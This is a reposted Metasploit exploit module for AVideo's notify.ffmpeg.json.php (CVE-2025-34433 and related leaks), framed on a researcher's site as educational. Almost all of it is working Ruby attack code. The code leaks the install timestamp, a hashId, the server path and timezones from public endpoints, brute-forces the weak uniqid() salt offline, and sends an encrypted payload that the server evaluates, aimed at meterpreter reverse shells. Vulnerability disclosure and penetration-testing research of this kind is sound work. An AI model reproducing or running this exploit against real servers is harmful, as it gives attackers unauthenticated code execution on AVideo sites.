AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution
AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution
AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution

##
# This module requires Metasploit: AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'
require 'time'
require 'tzinfo'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery',
'Description' => %q{
This module exploits an unauthenticated remote code execution (RCE) vulnerability
in AVideo's notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical
cryptographic weakness in the salt generation mechanism combined with information
disclosure vulnerabilities that allow an attacker to discover the encryption salt
through offline bruteforce.

Root Cause:
During installation, AVideo generates an encryption salt using PHP's uniqid() function,
which is not cryptographically secure. uniqid() generates a 13-character hexadecimal
string composed of: 8 characters for Unix timestamp in hex, and 5 characters for
microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values).

Exploit Chain:
1. Leak installation timestamp from /objects/categories.json.php (public endpoint)
2. Leak video hashId from /objects/videosAndroid.json.php or /plugin/API/get.json.php
3. Leak system root path from posterPortraitPath in video API responses
4. Leak server timezones from /objects/getTimes.json.php
5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison
6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval()

The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter,
which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails,
it retries with the old uniqid() salt. This fallback makes the RCE exploitable.

Affected Versions:
AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in
encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with
eval($callback) (introduced January 7, 2025).

Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove
the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT.

This vulnerability does not require authentication and can be exploited remotely by any
attacker who can access the AVideo instance.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-34433'], # Unauthenticated RCE via Predictable Salt
['CVE', '2025-34441'], # Information Disclosure: hashId leak
['CVE', '2025-34442'], # Information Disclosure: System Path leak
['URL', 'https://github.com/WWBN/AVideo/pull/10284'],
['URL', 'https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/'],
['URL', 'https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-12-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
OptString.new('SALT', [false, 'Known salt (skips bruteforce)', '']),
OptString.new('SYSTEM_ROOT', [false, 'System root path (fallback if leak fails)', '/var/www/html/AVideo/'])
])
end

def check
gather_info
return CheckCode::Safe('notify.ffmpeg.json.php not found (requires 14.3.1+)') unless @notify_exists

salt_provided = !datastore['SALT'].to_s.empty?
unless salt_provided
return CheckCode::Safe('categories.json.php inaccessible (timestamp leak required)') unless @timestamp_accessible
return CheckCode::Safe('hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)') unless @hashid_accessible
end

return CheckCode::Appears("Vulnerable version #{@version} detected") if @version && @version >= Rex::Version.new('14.3.1')
return CheckCode::Safe("Version #{@version} requires 14.3.1+") if @version

CheckCode::Appears('Prerequisites met (version unknown)')
end

def exploit
gather_info
fail_with(Failure::Unknown, 'Failed to discover salt') unless discover_salt

callback_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
vprint_status('Executing payload...')
res = send_rce_payload(callback_payload)

return if session_created?

if res&.code == 200
vprint_status("Payload executed (response: #{res.code})")
return
end

error_msg = parse_error_from_response(res)
fail_with(Failure::Unknown, error_msg ? "Exploit failed: #{error_msg}" : "Unexpected response code: #{res&.code}")
end

def parse_error_from_response(res)
return nil unless res&.body

data = JSON.parse(res.body)
return data['msg'] if data['msg'] && !data['msg'].to_s.empty?
return 'Unknown error' if data['error'] == true

nil
rescue JSON::ParserError
nil
end

def gather_info
return if @notify_exists && @timestamp_accessible && @hashid_accessible && @timestamps && @video_info

vprint_status('Gathering target information...')
detect_version
@notify_exists = check_notify_endpoint

@timestamp_accessible = check_endpoint('objects/categories.json.php')
@timestamps ||= get_timestamps if @timestamp_accessible

# get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests
@video_info ||= get_video_info
@hashid_accessible = !@video_info.nil?
end

def detect_version
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true })
return unless res&.code == 200

version_match = res.body.match(/Powered by AVideo ? Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
return unless version_match && version_match[1]

@version = Rex::Version.new(version_match[1])
vprint_status("Detected AVideo version: #{@version}")
end

def check_endpoint(path)
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' })
res&.code == 200
end

def check_notify_endpoint
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET' })
return false unless res

res.code == 403 && res.body.to_s.include?('Empty notifyCode')
end

# Fetch server timezones to test multiple uniqid calculations with different offsets
def get_timezones
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'objects', 'getTimes.json.php'),
'method' => 'GET'
})
return [nil, nil] unless res&.code == 200

data = JSON.parse(res.body)
[data['_serverSystemTimezone'], data['_serverDBTimezone']]
rescue StandardError
[nil, nil]
end

# If the default category created at install was deleted, exploit will fail (timestamp not guessable)
def get_timestamps
vprint_status('Leaking installation timestamp...')
system_tz, db_tz = get_timezones
vprint_status("Server timezones: system=#{system_tz}, db=#{db_tz}")

res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'categories.json.php'), 'method' => 'GET' })
return [] unless res&.code == 200

# Try JSON parsing first, fallback to regex if JSON is invalid
timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz)
return timestamps if timestamps.any?

parse_timestamps_from_regex(res.body, system_tz, db_tz)
end

def parse_timestamps_from_json(body, system_tz, db_tz)
data = JSON.parse(body)
rows = data['rows']
return [] unless rows.is_a?(Array) && !rows.empty?

first_category = rows.min_by { |c| c['id'].to_i }
created = first_category['created']
timestamps = datetime_to_timestamps(created, system_tz, db_tz)
vprint_good("Installation timestamp: #{created} -> #{timestamps.first}")
timestamps
rescue JSON::ParserError
[]
end

def parse_timestamps_from_regex(body, system_tz, db_tz)
matches = body.scan(/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/m)
return [] if matches.empty?

created = matches.min_by { |m| m[0].to_i }[1]
timestamps = datetime_to_timestamps(created, system_tz, db_tz)
vprint_good("Installation timestamp (regex): #{created} -> #{timestamps.first}")
timestamps
end

def datetime_to_timestamps(dt_str, system_tz, db_tz)
dt = Time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')
dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec)
timezones = [system_tz, db_tz, 'UTC'].compact.uniq

timezones.map do |tz|
tz_obj = TZInfo::Timezone.get(tz)
format('%x', tz_obj.local_to_utc(dt_local).to_i)
end.uniq
rescue StandardError => e
vprint_error("Error converting datetime: #{e}")
[]
end

def get_system_root
return @system_root if @system_root && !@system_root.empty?

# Try to get from cached endpoint responses first
@system_root = extract_system_root_from_cache
if @system_root
vprint_good("System root leaked: #{@system_root}")
return @system_root
end

# On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances)
@system_root = datastore['SYSTEM_ROOT']
vprint_status("Using fallback system root: #{@system_root}")
@system_root
end

def extract_system_root_from_cache
pattern = /"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/

# Collect all cached response bodies to scan
bodies = (@endpoint_cache || {}).values

bodies.each do |body|
body.scan(pattern).each do |match|
path = match[0].gsub('\\/', '/')
root = find_root_in_path(path)
return root if root
end
end
nil
end

def find_root_in_path(path)
%w[/view/ /videos/ /plugin/].each do |subdir|
return path.split(subdir)[0] + '/' if path.include?(subdir)
end
nil
end

# Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction)
# Note: videosAndroid.json.php can take a long time to load, this is expected
# hashId won't be accessible if no public videos exist on the instance
def get_video_info
vprint_status('Leaking video hashId...')
@endpoint_cache ||= {}

endpoints = [
normalize_uri(target_uri.path, 'objects', 'videosAndroid.json.php'),
normalize_uri(target_uri.path, 'plugin', 'API', 'get.json.php') + '?APIName=video',
normalize_uri(target_uri.path, 'view', 'info.php')
]

endpoints.each do |endpoint|
info = extract_video_info_from_endpoint(endpoint)
return info if info
rescue StandardError => e
vprint_error("Error checking #{endpoint}: #{e}")
end
nil
end

def extract_video_info_from_endpoint(endpoint)
# Use cached response if available
body = @endpoint_cache[endpoint]
unless body
res = send_request_cgi({ 'uri' => endpoint, 'method' => 'GET' })
return nil unless res&.code == 200

body = res.body
@endpoint_cache[endpoint] = body
end

data = JSON.parse(body)
videos = data['videos'] || data.dig('response', 'rows') || (data['response'].is_a?(Array) ? data['response'] : [])
return nil if videos.empty?

video = videos.find { |v| v['id'] && v['hashId'] }
return nil unless video

hash_id = video['hashId']
cipher = hash_id.length < 16 ? 'RC4' : 'AES-128-CBC'
vprint_good("Video ID=#{video['id']}, hashId=#{hash_id} (#{cipher})")
{ id: video['id'].to_i, hash_id: hash_id, cipher: cipher }
end

def compute_hashid(video_id, salt, cipher_type = 'AES-128-CBC')
key = Digest::MD5.hexdigest(salt)[0, 16]
plaintext = video_id.to_s(32)
cipher = OpenSSL::Cipher.new(cipher_type)
cipher.encrypt
cipher.key = key
cipher.iv = key if cipher_type == 'AES-128-CBC'

Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final)
end

def encrypt_payload(payload)
key = Digest::SHA256.hexdigest(@salt)[0, 32]
iv = Digest::SHA256.hexdigest(@system_root)[0, 16]

cipher = OpenSSL::Cipher.new('AES-256-CBC')
cipher.encrypt
cipher.key = key
cipher.iv = iv

Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final))
end

def test_salt_candidate(candidate, video)
compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id]
end

def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total)
return unless (micro % 100_000).zero? && micro > 0

current = (ts_idx * 0x100000) + micro
pct = (100.0 * current / total).round(1)
formatted_micro = micro.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse
print("%bld%blu[*]%clr [#{ts_idx + 1}/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\r")
end

def bruteforce_salt(timestamps, video)
vprint_status("Bruteforcing salt (#{video[:cipher]})...")
start_time = Time.now
total = timestamps.length * 0x100000

timestamps.each_with_index do |ts_hex, ts_idx|
(0...0x100000).each do |micro|
candidate = format('%s%05x', ts_hex, micro)
if test_salt_candidate(candidate, video)
print("\r")
elapsed = (Time.now - start_time).round(2)
vprint_good("Salt found: #{candidate} (in #{elapsed}s)")
return candidate
end
print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total)
end
end

print("\r")
nil
end

def discover_salt
@salt ||= datastore['SALT'] unless datastore['SALT'].to_s.empty?
if @salt
vprint_good("Using provided salt: #{@salt}")
return get_system_root
end

get_system_root
@timestamps ||= get_timestamps
@video_info ||= get_video_info
return false if @timestamps.empty? || !@video_info

@salt = bruteforce_salt(@timestamps, @video_info)
!@salt.nil?
end

def send_rce_payload(callback_payload)
notify_code = encrypt_payload('valid')
callback = encrypt_payload(callback_payload)

filename = Rex::Text.rand_text_alphanumeric(8..16)
ext = %w[mp4 avi mkv mov webm].sample
full_filename = "#{filename}.#{ext}"

notify_data = {
'avideoPath' => full_filename,
'avideoRelativePath' => full_filename,
'avideoFilename' => filename
}
notify = JSON.generate(notify_data.to_a.shuffle.to_h)

params = {
'notifyCode' => notify_code,
'notify' => notify,
'callback' => callback
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'),
'method' => 'GET',
'vars_get' => params.to_a.shuffle.to_h
})
res
end
end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.